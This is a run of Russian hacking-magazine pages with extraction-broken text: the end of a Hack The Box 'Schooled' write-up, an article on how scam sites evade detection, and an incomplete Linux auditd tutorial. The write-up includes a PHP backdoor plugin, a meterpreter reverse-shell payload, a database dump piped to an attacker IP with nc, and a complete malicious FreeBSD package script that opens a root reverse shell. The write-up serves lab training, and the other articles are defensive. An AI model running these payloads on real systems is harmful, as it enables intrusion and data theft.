веб‑серв­ ера Сре­ди множ­ ес­тва запр­ осов мы находим тот, зна­чение параметр­ а которо­го отли­чает­ся. Подс­ тавл­ яем полученн­ ые cookie и  перезаг­ружа­ем стран­ ицу. Так мы начина­ем работать под учет­ной записью пре­пода­вател­ я. Тек­ ущий польз­ ователь →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB SCHOOLED ПЕНТЕСТИМ MOODLE И ДЕЛАЕМ ВРЕДОНОСНЫЙ ПАКЕТ ДЛЯ FREEBSD ТОЧКА ОПОРЫ Продвижение от Teacher до Manager У нас есть учет­ная запись пре­пода­вател­ я, с  которой мы можем получить админс­ кий дост­ уп. Ранее мы наш­ли спис­ ок перс­ онала и  отту­да узна­ли, что наша целевая учет­ная запись — аккау­ нт польз­ овате­ля Lianne Carter. Нам нуж‐­ но зачис­лить ее на свой курс (математ­ ика). Для это­го выпол­няем пос­ледова‐­ тельн­ ость дей­ствий Site Home → Mathematics → Participants → Enrol users и добавл­ яем акка­унт Lianne Carter. Стран­ ица Participants Стран­ ица Enrol users Во врем­ я добавл­ ения на курс нуж­но перехв­ атить зап­рос в Burp Proxy и изме‐­ нить в нем зна­чения парамет­ров user_ID на 24 (id пре­пода­вате­ля, его мож­но уви­деть в адресной строк­ е) и Assign_ID на 1 (админ­ ис­трат­ ор или менед­жер). Посл­ е выполн­ ения этих дей­ствий мы уви­дим целевой акка­унт в  спис­ке учас‐­ тник­ ов кур­са. Зап­рос на добавл­ ение поль­зовате­ля Адр­ есная стро­ка с идент­ ификат­ ором нашего польз­ овател­ я Изм­ енен­ный запр­ ос Отв­ ет сер­вера на измен­ енн­ ый зап­рос Спи­сок учас­тни­ков курс­ а Теп­ ерь перей­дем к  опис­ анию сво­его поль­зовате­ля и  затем выберем «Log in as» в раз­деле Administration. И в окне под­твержде­ния переход­ а нам сооб‐­ щают, что мы работа­ем от  имен­ и прив­ илег­ иров­ анн­ ой учет­ной записи Lianne Carter. Раз­дел Administration Ок­но подт­ вержден­ ия переход­ а Удаленное выполнение кода К нашей верс­ ии Moodle есть еще один эксп­ лои­ т — мы его внач­ але не ста­ли брать, пос­коль­ку для него нуж­ны прав­ а админ­ ис­трат­ ора Moodle. Этот экс­пло‐­ ит дол­жен дать нам уда­лен­ное выпол­нение кода, но  снач­ ала тре­бует рас‐­ ширить свои прав­ а. Давай перейд­ ем к  стра­нице адми­нист­ ри­рова­ния сайт­ а и  получим удал­ енн­ ое выпол­нение кода в  соотв­ етс­твии с  опи­сание­ м CVE- 2020-14321. Ме­ню сайт­ а Вы­полн­ им ряд опер­ аций: Users → Permissions → Define role → Manager → Edit. В  перехв­ аченн­ ый запр­ ос c помощью Burp Proxy вста­вим блок парамет­ров из опис­ ания к уязв­ имост­ и (не забыва­ем про ключ сесс­ ии). Запр­ ос в Burp Proxy Мы рас­ширили свои прав­ а еще  больш­ е и  вклю­чили абсо­лют­но все опции. Сре­ди про­чего нам стал­ а дост­ упна устан­ ов­ка пла­гинов. Соз­дадим архив ZIP со сле­дующей структ­ урой. Структ­ ура пла­гина Файл block_rce содерж­ ит обычн­ ый бэк­дор на  PHP. Устан­ овим этот плаг­ ин: Plugins → Install plugins. Ус­тановк­ а пла­гина Про­верим его работу: curl 'http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce. php?cmd=whoami' Вып­ олн­ ение коман­ды на уда­ленн­ ом серв­ ере Мы получил­ и уда­лен­ное выполн­ ение команд. Давай теперь брос­ им ста­биль‐­ ный и удобн­ ый шелл. В качес­тве бэк­дора будем исполь­зовать php-загр­ узчик Meterpreter, который мы сген­ ерир­ уем с  помощью msfvenom. В  качес­тве параметр­ ов указ­ ывае­ м нагр­ узку, локальн­ ый адрес и порт, а такж­ е форм­ ат — php. msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.195 LPORT=4321 -f raw > r.php cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\\n' > r.php && xclip -selection clipboard -o >> r.php Ген­ ери­рован­ ие нагр­ узки в Meterpreter И запус­тим listener, который будет ждать обратног­ о подк­ люч­ ения от наг­рузки. Для быс­тро­го запуск­ а из Metasploit исполь­зуем handler с параметр­ ами, ука‐­ занн­ ыми при соз­дании наг­рузки. handler -p php/meterpreter_reverse_tcp -H 10.10.14.195 -P 4321 Повт­ оря­ем устан­ овк­ у плаг­ ина и получае­ м бэк­коннект. По­луче­ние бэк­коннект­ а ПРОДВИЖЕНИЕ Так как на хос­те раз­вернут веб‑сер­вер, а на нем работае­ т целая CMS, пер­вое наше дей­ствие — попр­ обовать получить какие‑нибудь учетн­ ые дан­ные поль‐­ зовате­лей. Высока веро­ятность, что эти учет­ные дан­ные подойд­ ут и для поль‐­ зовате­лей ОС. В популярн­ ых CMS обыч­но есть мес­то, отку­да всег­да можн­ о получить учет‐­ ные данн­ ые  —  это файл с  наст­ рой­ками для  подк­ лю­чения к  базе дан­ных. В Moodle это файл config.php. Со­держ­ имое файл­ а config.php Мы получае­ м учетн­ ые данн­ ые для  взаи­ мо­дейс­ твия с  базой данн­ ых. Давай получим все име­ющиеся базы. /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'show databases;' По­лучен­ ие баз дан­ных Здесь все типичн­ о для  Moodle. Нам нужн­ о получить все записи из  таб­лицы mdl_user в базе moodle. Дан­ных будет очень мно­го, поэто­му сраз­ у отпра­вим их на свой компью­ тер и сохр­ аним в файл. Снач­ ала на локаль­ном хост­ е откро‐­ ем слуш­ атель и перенап­равим весь вывод из него в файл. nc -lvp 6543 > db.txt А теперь получим нуж­ные нам записи, отправ­ ив на свою машину. /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'use moodle; select * from mdl_user;' | nc 10.10.14.54 6543 По­луче­ние данн­ ых Зап­ иси из базы дан­ных По­лучае­ м мно­го хешей Bcrypt. В  пер­вую очер­ едь нас интер­ есу­ет поль‐­ зователь admin, так как в гра­фе Firstname сто­ит знач­ ение Jamie. Дело в том, что такой польз­ ователь есть в сист­ еме, подт­ вержде­ние чего мож­но най­ти в / etc/passwd. Сод­ ерж­ имое фай­ла /etc/passwd Пе­ребе­рем этот хеш с  помощью hashcat. Для  этог­ о снач­ ала нуж­но узнать номер типа хеша из справк­ и к прогр­ амме. hashcat --example | grep -A2 -B2 '$2' Пол­ учен­ ие типа хеша За­тем передад­ им получен­ное чис­ло в парамет­ре -m. hashcat -m 3200 -a 0 hash ../tools/rockyou.txt Ре­зульт­ ат перебо­ра Пе­ребор оказ­ ыва­ется длит­ ель­ным, но  успешным. С  получен­ными учетн­ ыми дан­ными автор­ изуе­ мся по SSH и заберем флаг поль­зовате­ля. Флаг польз­ овате­ля ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Чтоб­ ы найт­ и спо­соб продв­ ижения в  сис­теме, можн­ о использ­ овать скрип­ты типа LinPEAS, но  быва­ет дост­ аточ­но про­верить наибол­ ее веро­ятные мест­ а. Одно из таких мест — нас­тройк­ и sudoers. Справка: sudoers Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые разн­ ые груп­пы поль­зовател­ ей могут выпол­нять от  име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи команд­ ы sudo -l. Нас­трой­ки судое­ ра Мы узнае­ м, что любой поль­зователь (ALL) может выполн­ ить коман­ды /usr/ sbin/pkg update и  /usr/sbin/pkg install * в  при­виле­гиро­ван­ном кон‐­ текс­ те без ввод­ а пароля (NOPASSWD). Здесь pkg — это утил­ ита управлен­ ия пакета­ми во FreeBSD. Перв­ ая коман‐­ да выпол­няет обновлен­ ие репозит­ ория, а  втор­ ая нужн­ а для  уста­нов­ки пакетов. Во  FreeBSD можн­ о исполь­зовать как  бинар­ные пакеты, так и  соб‐­ ранные из исходных кодов. Таким обра­зом, если мы смож­ ем соб­рать и уста‐­ новить вре­доносн­ ый пакет, то это  про­изойд­ ет в  при­вилег­ иров­ анн­ ом кон­тек‐­ сте. Наша задача выполн­ ить код во  вре­мя его устан­ ов­ки, что даст нам управле­ние хос­том в этом кон­текс­ те. На прост­ орах интернет­ а удал­ ось най­ти шаб­лон для  соз­дания такого пакета. В  пакете мы можем исполь­зовать дирек­тивы, которые будут выпол‐­ нять коман­ды в опре­делен­ный момент врем­ ени: • PRE_DEINSTALL — перед уда­ление­ м; • POST_DEINSTALL — пос­ле уда­ления; • PRE_INSTALL — перед устан­ овк­ ой; • POST_INSTALL — пос­ле уста­нов­ки. В шабл­ оне прис­ утст­ вую­ т дирек­тивы PRE_DEINSTALL и POST_INSTALL, куда мы вста­вим две команд­ ы: echo \"Resetting root shell\" rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.54 4321 >/tmp/f Пер­вая пре­дупр­ ежда­ет о  сброс­ е коман­дной обол­ оч­ки, а  втор­ ая  — прос­то реверс‑шелл для  FreeBSD. Ниже прив­ ожу шаб­лон для  сбор­ки пакета со вставл­ енным­ и мной команд­ ами: #!/bin/sh STAGEDIR=/tmp/stage rm -rf ${STAGEDIR} mkdir -p ${STAGEDIR} cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF # careful here, this may clobber your system echo \"Resetting root shell\" rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.54 4321 >/tmp/f EOF cat >> ${STAGEDIR}/+POST_INSTALL <<EOF # careful here, this may clobber your system echo \"Registering root shell\" rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.54 4321 >/tmp/f EOF cat >> ${STAGEDIR}/+MANIFEST <<EOF name: mypackage version: \"1.0.8888\" origin: sysutils/mypackage comment: \"automates stuff\" desc: \"automates tasks which can also be undone later\" maintainer: [email protected] www: https://doe.it prefix: / EOF pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -o . Вып­ ол­ним этот скрипт, что­бы созд­ ать пакет. Видим его в  текущей дирек‐­ тории. Соз­дание пакета Те­перь необх­ одимо соз­дать слуш­ атель, который будет при­нимать соеди‐­ нение. Справка: реверс-шелл Об­ратный шелл — это подк­ люч­ ение, которое актив­ ируе­ т ата­куемая машина, а  мы прин­ имае­ м и  таким обра­зом подк­ люч­ аем­ся к  ней, чтоб­ ы выпол­нять коман­ды от  лица поль­зовател­ я, который запуст­ ил шелл. Для  при­ема соеди‐­ нения необ­ходимо соз­дать на  локаль­ной машине listener, то есть «слу‐­ шатель». В таких случ­ аях приг­ одит­ся rlwrap  — readline-обо­лоч­ка, которая в  числ­ е проч­ его позв­ оляе­ т поль­зоватьс­ я истор­ ией команд. Она обыч­но дос­тупна в репозит­ ории дист­ ри­бути­ва. apt install rlwrap В качес­тве самого лист­ енера при  этом мож­но исполь­зовать широко известный netcat. rlwrap nc -lvp 4321 Те­перь уста­навл­ ива­ем пакет, при  этом добавл­ яем опцию «без обновлен­ ия репози­тори­ев». Посл­ е вывода нашего сооб­щения про­веря­ем окно слу­шате­ля и видим желанн­ ый бэкк­ оннект. sudo /usr/sbin/pkg install --no-repo-update *.txz Уст­ анов­ка соз­данно­го пакета Флаг рута Ма­шина зах­вачена, мы имее­ м над ней пол­ный кон­троль!

ВЗЛОМ Юрий Другач Автор блога о социальной инженерии ИСКУССТВО МАСКИРОВКИ КАК МОШЕННИКИ ПРЯЧУТ СВОИ САЙТЫ В ИНТЕРНЕТЕ Анал­ изи­руя мошенн­ ичес­кие сай­ты, порой диву даешь­ся изобр­ етатель­ност­ и жуликов. То пицц­ у тебе предл­ ага­ют бес‐­ платн­ ую, то мор­генко­ины… Встреч­ аютс­ я и  ресур­сы, о которых с ходу и не ска­жешь, что они мошенн­ ичес­кие: эти сайт­ ы прос­то собира­ют кон­такты, что­бы потом, сфор‐­ мировав базу, сраз­ у всех раз­вести. Одна­ко прежд­ е чем хорошень­ко изу­чить созд­ анный интернет‑жулика­ми сайт, снач­ ала надо его найт­ и. О  методах поис­ка и  о том, как  мошенн­ ики пря­чут свои ресур­сы в  сети, мы сей­час и поговор­ им. Бы­вает, в  комп­ анию или  служб­ у банк­ а, занимаю­ щуюся интернет‑безопас‐­ ностью, пос­тупа­ет жалоба на  тот или  иной сайт, что и  стан­ овитс­ я поводом к  рас­сле­дован­ ию. Этот слу­чай мы расс­ матр­ ивать не  будем, а  допуст­ им, что ИБ‑шник за­хотел получить пре­мию сам решил най­ти вре­доносн­ ые сай­ты. Сам­ ый прост­ ой спо­соб включ­ ает сле­дующие нехит­рые дей­ствия: • скач­ ивае­ м спис­ ок зарегист­ ри­рован­ных за  пос­ледние неск­ оль­ко месяцев доменов в  зоне .ru c сай­та Domains.ihead.ru (в спис­ке перечисл­ ены домены, зарегист­ ри­рованн­ ые за пос­ледние три месяца); • ищем домены, похожие на офиц­ иальн­ ые домены круп­ных ком­паний и бан‐­ ков; • за­ходим на сайт и смот­рим, что же там находит­ся; • ес­ли обнар­ ужен мошенн­ ическ­ ий ресурс, пода­ем заявк­ у на  бло­киров­ку домена регис­трат­ ору, жалу­емся хос­теру или  наст­ ра­иваем меж­сетевой экран для бло­кировк­ и подобн­ ых ресур­сов в собс­твенн­ ом перимет­ре. Бол­ ее продв­ инутый вариа­ нт — использ­ овать самодельн­ ые или покуп­ные ска‐­ неры, которые будут борозд­ ить прос­торы интерне­та в  автом­ ати­чес­ком режиме. Врод­ е все прос­то, одна­ко опи­сан­ный метод сра­баты­вает далеко не  всег­да. Почему же найт­ и мошен­ническ­ ий сайт порой быва­ет нелегк­ о? Прич­ ин обыч­но неск­ ольк­ о. ПОХОЖЕЕ НАПИСАНИЕ Есл­ и, напр­ имер, из спис­ка всех доменов отоб­рать домены со слов­ ом gaz, то домен gaazprom.ru ты уже не  обнар­ ужишь, а  вот утил­ ита Dnstwist из  Kali поможет его найт­ и. Еще  мож­но исполь­зовать онлайн‑сер­висы Dnstwist или Dnstwister.report. Dnstwist генери­рует шесть разн­ ых типов написан­ ия основно­го домена и  пров­ еряе­ т, какие из  них зарегист­ ри­рова­ны. Нап­ример, для  офи­циальн­ ого gazprom.ru было сген­ ерир­ ован­ о и  пров­ ере­но  2270  вари­антов. 38  доменов ока­зались зарегис­трир­ ован­ ы. Ре­зульт­ аты про­верк­ и домена gazprom.ru в серв­ исе dnstwist.it Те­перь давай‑ка пров­ ерим, что же все‑таки находит­ся на  этом самом gaazprom.ru. Прим­ ер содер­жимого мошен­ничес­кого сай­та. 14 своб­ одн­ ых мест, надо брать! ПОДДОМЕН Тут все прост­ о. Если ска­ниров­ ать сайт openstockinvest.cyou, то мы ничего не  увид­ им. А  если зай­ти на  подд­ омен hххp://bussiness.openstockinvest.cyou, то внез­ апн­ о обна­ружим мошен­ническ­ ий лен­динг. Мо­шенн­ ичес­кий сайт на под­домене ЗОНА КОМФОРТА Част­ о поиск мошен­ничес­ких сай­тов огран­ ичи­ваетс­ я лишь про­вер­кой доменов в  зоне ru. Если так делать, то ты упус­тишь сайт­ ы, зарегист­ ри­рованн­ ые еще  в  1555  домен­ных зонах. Тот же Dnstwist генери­рует домены не  во всех возм­ ожных зонах, что увод­ ит из нашего поля зрен­ ия потенц­ иальн­ ый улов. Нужн­ о получить все домены. Нап­ример, на  сай­те Domains-monitor.com мож­но скач­ ать спи­сок из 250 милл­ ионов зарегист­ ри­рован­ных доменов. Сто­ит серв­ ис 7 долл­ аров за 24-часовой дос­туп. Серв­ ис со списк­ ом зарегист­ ри­рованн­ ых доменов domains-monitor.com ПАРАЗИТЫ По ана­логии с живой при­родой вир­туаль­ный паразит исполь­зует чужие ресур‐­ сы, чтоб­ ы жить как  можн­ о дольш­ е и  остать­ся незаме­ченн­ ым. Чаще все­го для  этог­ о взлам­ ыва­ется безобид­ный сайт и  в один из  под­каталог­ ов залива‐­ ется вред­ оносн­ ый. Взло­ман­ный сайт комм­ ерческ­ ой фирм­ ы СОСЕДИ Под этим методом я понимаю разм­ ещение мошенн­ ичес­ких сайт­ ов на «чужих» ресурс­ ах. Нап­ример, hххps://gatrade.turbo.site  — в  дан­ном слу­чае веб‑стра‐­ ница созд­ ана в конст­ рук­торе сайт­ ов от Яндекса. Прим­ ер сай­та, соз­данног­ о в конс­трукт­ оре Яндекса В эту же категор­ ию мож­но отнести сай­ты, созд­ анные на квиз‑плат­формах (это такие конс­трук­торы онлайн‑опро­сов). Найд­ енн­ ый мною ранее прим­ ер мошен­ническ­ ого опро­са уже не работа­ет, остал­ ись лишь его след­ ы в Google. Прим­ ер мошенн­ ическ­ ого опрос­ а на плат­форме quizgo.ru ВНУТРЯНКА Еще один спо­соб защиты мошенн­ ичес­ких сайт­ ов от ска­неров служб безопас‐­ ности. Если перей­ти по  ссыл­ке hxxps://invest-it.live, тебя переа­ дре­сует в  Google, а  сама мошенн­ ическ­ ая стран­ ица находит­ся «внутр­ и» сай­та, по адрес­ у hххps://invest-it.live/russian-platform. При­мер мошен­ничес­кого ресурс­ а в каталог­ е сай­та КЛОАКИНГ Этим тер­мином обозн­ ачаю­ т под­мену содерж­ имого сайт­ а в  зависим­ ос­ти от техн­ ичес­ких особ­ ен­ностей посетит­ еля. Нап­ример, если зайт­ и с украи­ нско‐­ го IP по адрес­ у hххp://gazpromrekl.ru, мы увид­ им мошенн­ ичес­кий сайт. Мо­шен­ничес­кий сайт А если зайт­ и с  любого друг­ ого IP, нам покажут магазин, прод­ ающий домики для котиков. Прим­ ер подм­ ены содерж­ имого в зависим­ ост­ и от IP посети­теля Кстат­ и, этот самый gazpromrekl.ru иног­да глю­чит, и при заходе с рос­сийс­ ко­го IP он показы­вает сайт какой‑то веб‑студ­ ии. Похоже, ребята допол­нитель­но монетиз­ ирую­ т свои навыки. Кло­акинг использ­ уетс­ я и  в соци­альн­ ых сетях, в  том числ­ е для  обхо­да модерац­ ии (а мы удивл­ яем­ся, почему модерат­ оры про­пус­кают явно мошен­ническ­ ий конт­ ент. Прос­то их обма­нули с  помощью тех­ничес­ких средств). Прим­ ер мошен­ническ­ ой рекл­ амы в Facebook Ког­да модера­тор перехо­дит со  сво­его европ­ ей­ско­го (или индий­ско­го) IP на 5000-privitum-podarok.ru, ему показы­ваетс­ я один сайт, а если перей­ти с IP одной из стран СНГ, кон­тент соверш­ енно дру­гой. Разн­ ое содер­жимое в зависим­ ос­ти от IP посетит­ еля ВЫВОДЫ Пе­речис­ленны­ми спос­ обам­ и раз­мещения мошенн­ ичес­ких сай­тов весь арсе‐­ нал исполь­зуемых жуликам­ и методов не  исчерпыв­ ает­ся. Сущес­тву­ет целый биз­нес по  про­даже готовых лен­дингов, копиру­ющих сайт­ ы извест­ ных фирм и бан­ков, а такж­ е нацелен­ные на орган­ изац­ ию лохот­ронов пар­тнер­ки. Разн­ ое содерж­ имое в зависи­мос­ти от IP посетит­ еля По­этом­ у наибо­лее эффектив­ны всег­ о два спо­соба борьб­ ы с  мошен­ничес‐­ твом: техн­ ичес­кая бло­кировк­ а того, что ты смог най­ти (если ты ИБ/ИТ‑шник), и обуч­ ение сот­рудник­ ов, родс­твенн­ иков и друз­ ей пра­вилам информац­ ион­ной безопас­ности. Оно включ­ ит у  польз­ овате­ля «мозг­ офай­рвол», который работае­ т нам­ного лучш­ е всех тех­ническ­ их средств, вмес­те взя­тых.

АДМИН ОСНОВЫ АУДИТА НАСТРАИВАЕМ ЖУРНАЛИРОВАНИЕ ВАЖНЫХ СОБЫТИЙ В LINUX Андрей Балабанов Главный инженер Центра компетенций по защите АРМ и серверов Сбербанка Под­систем­ а аудит­ а Linux поз­воляе­ т на  основ­ е пред‐­ варительн­ о наст­ ро­енных пра­вил отсле­живать зна­чимую информац­ ию о  безопас­ности опе­раци­онной сис­темы, соз‐­ дает записи жур­нала для  даль­нейшег­ о расс­ лед­ ова­ния нарушен­ ий полити­ки. Сегод­ня мы посм­ отрим поб­лиже на этот важн­ ый и для хакера, и для админ­ а элем­ ент сист­ емы безопасн­ ости. С помощью ауди­та мож­но реализ­ овать журн­ алиров­ ание для  сле­дующих событий: • дос­туп к объе­ ктам фай­ловой сис­темы; • вып­ ол­нение сист­ емных вызовов; • за­пуск поль­зовательс­ ких команд; • лог­ ины польз­ овател­ ей; • дейс­ твия с учет­ными записям­ и и прив­ иле­гиями. В этой статье я расс­ каж­ у, как устро­ена под­систе­ма аудит­ а, как ей управлять, а такж­ е как получить жур­нал аудит­ а всех интер­ есу­ющих тебя событий. Подс­ исте­ма аудит­ а в  Linux сост­ оит из  двух групп комп­ онент­ ов: в  прос‐­ транс­тве ядра это kauditd, а в польз­ ователь­ском — auditd. В общем виде схем­ а работы под­систе­мы ауди­та выгл­ ядит след­ ующим образ­ ом. Ядр­ о, прин­ имая сис­темные вызовы из user space, проп­ уск­ ает их через филь‐­ тры user, task, filesystem , exclude и exit. • Фильт­ р user использ­ уетс­ я для  филь­тра­ции (исклю­чения) событий, про‐­ исхо­дящих в  поль­зовательс­ ком прос­транст­ ве до  отправк­ и в  auditd. Прак‐­ тичес­ки никог­да не использ­ уетс­ я. • Фильт­ р task при­меня­ется для сист­ емных вызовов fork() и clone(). • Филь­тр filesystem исполь­зует­ся для  исключ­ ения событий для  конк­ рет‐­ ной файл­ овой сист­ емы. • Филь­тр exclude зада­ет исклю­чения для событий. • Филь­тр exit про­ходят все сис­темные вызовы. Обыч­но наст­ ра­ивают имен‐­ но этот филь­тр. Чер­ ез netlink(7) сообщ­ ения отправл­ яют­ся из  kauditd в  auditd. При  получе­нии событий, демон auditd записыв­ ает их в  лог (по умолч­ анию / var/log/audit/audit.log). Нас­тра­ивая филь­тры с  помощью ути­литы auditctl, мы можем управлять потоком событий, который хотим получать. С  помощью ути­лит ausearch, aureport, aulast удоб­но прос­матри­вать жур­нал ауди­та. Да­вай теперь устан­ овим и  наст­ рои­ м все под­систе­мы аудит­ а. Устан­ ов­ка край­не прост­ а и не вызыва­ет никаких сложн­ остей: $ sudo dnf install audit $ sudo systemctl enable --now auditd Стат­ ус работы подс­ исте­мы ауди­та мож­но получить так: $ sudo auditctl -s enabled 1 failure 1 pid 885 rate_limit 0 backlog_limit 8192 lost 0 backlog 0 backlog_wait_time 60000 loginuid_immutable 0 unlocked Для тест­ а есть воз­можность отправ­ ить текс­ то­вое сооб­щение в  под­систем­ у ауди­та и убе­дитьс­ я, что соотв­ етст­ вую­ щее событие попало в жур­нал ауди­та. $ sudo auditctl -m helloaudit $ sudo ausearch -m USER ---- type=USER msg=audit(08/31/2021 19:20:11.160:330699) : pid=305708 uid=root auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='text=helloaudit exe=/usr/sbin/auditctl hostname=rhel.ipa.localdomain addr=? terminal=pts/0 res=success' Наст­ рой­ки демона auditd пред­став­лены в  фай­ле /etc/audit/auditd.conf. Кон­фиг по  умолч­ анию рабочий и  не треб­ ует измен­ ений, оставляе­ м его как есть. Раз­берем­ся теперь, как  управлять фильт­ ра­ми kauditd. Все наст­ рой­ки филь­тров груп­пирую­ тся в  файл­ ы пра­вил. Фор­мат пра­вил ана­логич­ ен син‐­ такси­су кон­соль­ной прог­раммы auditctl. Демон auditd загр­ ужа­ет эти пра­вила посл­ едова­тельн­ о при  стар­те сис­темы либо вруч­ную по  коман­де пользователя. INFO Важн­ ый момент: что­бы наши пра­вила при­меня‐­ лись пос­ле перезагр­ узки, необ­ходимо записать их в файл, в каталог /etc/audit/rules.d/. При­меры пра­вил ты можешь найт­ и в  катало­ге /usr/share/audit/sample- rules/. Прав­ ила ауди­та бываю­ т сле­дующих типов: 1. Упр­ авля­ющие прав­ ила нас­траи­ вают сист­ ему ауди­та и поведе­ние аген‐­ та. Все возм­ ожные опции перечис­лены в мане auditctl(8). 2. Прав­ ила файл­ овой сис­темы необ­ходимы для набл­ юдения за файл­ ом или  каталог­ ом, дост­ уп к  которым мы хотим кон­трол­ иров­ ать. Фор­мат пра‐­ вила сле­дующий: -w path-to-file -p permissions -k keyname Ключ -w ука­зывае­ т на то, что это прав­ ило файл­ овой сист­ емы. Далее сле‐­ дует путь к фай­лу или катало­гу. Ключ -p может содерж­ ать любые ком­бинации прав дост­ упа r (чте­ние), w (запись), x (выпол­нение) и a (изме­нение атри­бута). Ключ -k задае­ т имя пра­вила, по  которо­му впосл­ едст­ вии мож­но филь‐­ тров­ ать логи. 3. Пра­вила сис­темных вызовов использ­ уютс­ я для  монитор­ инг­ а сис‐­ темных вызовов, выпол­няемых любым проц­ есс­ ом или  кон­кретн­ ым поль‐­ зовател­ ем. Пра­вило имее­ т след­ ующий фор­мат: -a action,list -S syscall -F field=value -k keyname Ключ -a означ­ ает append (добав­ление) прав­ ила в филь­тр. Дейс­ твие action может быть always (всег­да созд­ авать события) или never (никогд­ а не созд­ авать события). Фильт­ р list содерж­ ит один из возм­ ожных вари­антов: task, exit, user, filesystem или exclude. -S ука­зывае­ т конк­ рет­ный syscall (имя или  номер); мож­но в  одном пра‐­ виле ука­зывать сра­зу нес­кольк­ о syscall, кажд­ ый пос­ле сво­его ключ­ а -S. -F зада­ет фильт­ р по  полям. Рекоменд­ ует­ся всегд­ а ука­зывать раз‐­ рядность, добавл­ яя в пра­вила фильт­ р -F arch=b64. Ключ -k  — имя пра­вила. Как  и в  пра­виле фай­ловой сист­ емы, исполь‐­ зуетс­ я для мар­кировк­ и событий для посл­ едую­ щей филь­трац­ ии лога. Важ­но отмет­ ить, что прав­ ила сис­темных вызовов зна­читель­но влия­ ют на про‐­ изво­дительн­ ость сист­ емы в целом. Ста­рай­ся сокр­ атить их количест­ во и объ‐­ еди­няй прав­ ила, где это воз­можно. В качес­тве трен­ ировк­ и соз­дадим прав­ ило аудит­ а для  регист­ ра­ции изме‐­ нения фай­ла /etc/passwd. Для начала убе­дим­ся, что у нас не при­мене­но ни одног­ о пра­вила. $ sudo auditctl -l No rules Есл­ и ранее уже были заданы какие‑то пра­вила, то смел­ о удал­ яем их коман‐­ дой: $ sudo auditctl -D No rules При­меним пра­вило: $ sudo auditctl -w /etc/passwd -p wa -k passwd Про­верим, что прав­ ило активно: $ sudo auditctl -l -w /etc/passwd -p wa -k passwd Теп­ ерь просм­ отрим, как наше пра­вило работае­ т. Мы не прост­ о отре­дакт­ иру‐­ ем файл, а посл­ едова­тель­но созд­ адим и удал­ им поль­зовател­ я: $ sudo useradd testuser $ sudo userdel -r testuser Убед­ имс­ я, что по нашему прав­ илу сген­ ерир­ овал­ ись события. Для это­го пос‐­ трои­ м отчет: $ sudo aureport --summary -k Key Summary Report =========================== total key =========================== 6 passwd Теп­ ерь посм­ отрим эти события. $ sudo ausearch -i -k passwd ---- type=PROCTITLE msg=audit(08/31/2021 17:08:25.562:330349) : proctitle=/sbin/auditctl -R /etc/audit/audit.rules type=SOCKADDR msg=audit(08/31/2021 17:08:25.562:330349) : saddr={ saddr_fam=netlink nlnk-fam=16 nlnk-pid=0 } type=SYSCALL msg=audit(08/31/2021 17:08:25.562:330349) : arch=x86_64 syscall=sendto success=yes exit=1076 a0=0x3 a1=0x7ffd19279350 a2=0x434 a3=0x0 items=0 ppid=285156 pid=285166 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=auditctl exe=/usr/sbin/auditctl subj=system_u:system_r:unconfined_service_t:s0 key=(null) type=CONFIG_CHANGE msg=audit(08/31/2021 17:08:25.562:330349) : auid=unset ses=unset subj=system_u:system_r:unconfined_service_t:s0 op=remove_rule key=passwd list=exit res=yes ---- type=PROCTITLE msg=audit(08/31/2021 17:08:38.406:330366) : proctitle=auditctl -w /etc/passwd -p wa -k passwd type=SYSCALL msg=audit(08/31/2021 17:08:38.406:330366) : arch=x86_64 syscall=sendto success=yes exit=1076 a0=0x4 a1=0x7ffdcd6fca80 a2=0x434 a3=0x0 items=0 ppid=285219 pid=285221 auid=andrey uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts0 ses=5 comm=auditctl exe=/usr/sbin/auditctl subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=(null) type=CONFIG_CHANGE msg=audit(08/31/2021 17:08:38.406:330366) : auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0- s0:c0.c1023 op=add_rule key=passwd list=exit res=yes ... Все записи в жур­нале обяз­ ательн­ о начинаю­ тся с tуpe= — как легк­ о догадать‐­ ся, это  тип события. Я при­вел тольк­ о два из  выведен­ных событий, но  мож­но заметить, что подс­ исте­ма аудит­ а по нашему прав­ илу групп­ ируе­ т события раз‐­ ных типов в один блок. Это удоб­но для ана­лиза. Есть события, которые не  про­марк­ ирова­ны нашим прав­ илом, мно­го чего инте­рес­ного собира­ется в  автом­ ати­ческ­ ом режиме. Общая кар­тина видн­ а из отче­та: $ sudo aureport Summary Report ====================== Range of time in logs: 08/31/2021 17:08:25.540 - 08/31/2021 17:31:13.011 Selected time for report: 08/31/2021 17:08:25 - 08/31/2021 17:31:13.011 Number of changes in configuration: 5 Number of changes to accounts, groups, or roles: 8 Number of logins: 0 Number of failed logins: 0 Number of authentications: 3 Number of failed authentications: 0 Number of users: 2 Number of terminals: 6 Number of host names: 2 Number of executables: 8 Number of commands: 6 Number of files: 3 Number of AVC's: 0 Number of MAC events: 0 Number of failed syscalls: 0 Number of anomaly events: 0 Number of responses to anomaly events: 0 Number of crypto events: 0 Number of integrity events: 0 Number of virt events: 0 Number of keys: 1 Number of process IDs: 26 Number of events: 166 Все возм­ ожные типы регис­трир­ уемых событий можем узнать так (в реальн­ ос‐­ ти вывод гораз­до длинн­ ее, поск­ ольк­ у типов боль­ше 170): $ sudo ausearch -m Argument is required for -m Valid message types are: ALL USER LOGIN USER_AUTH USER_ACCT USER_MGMT 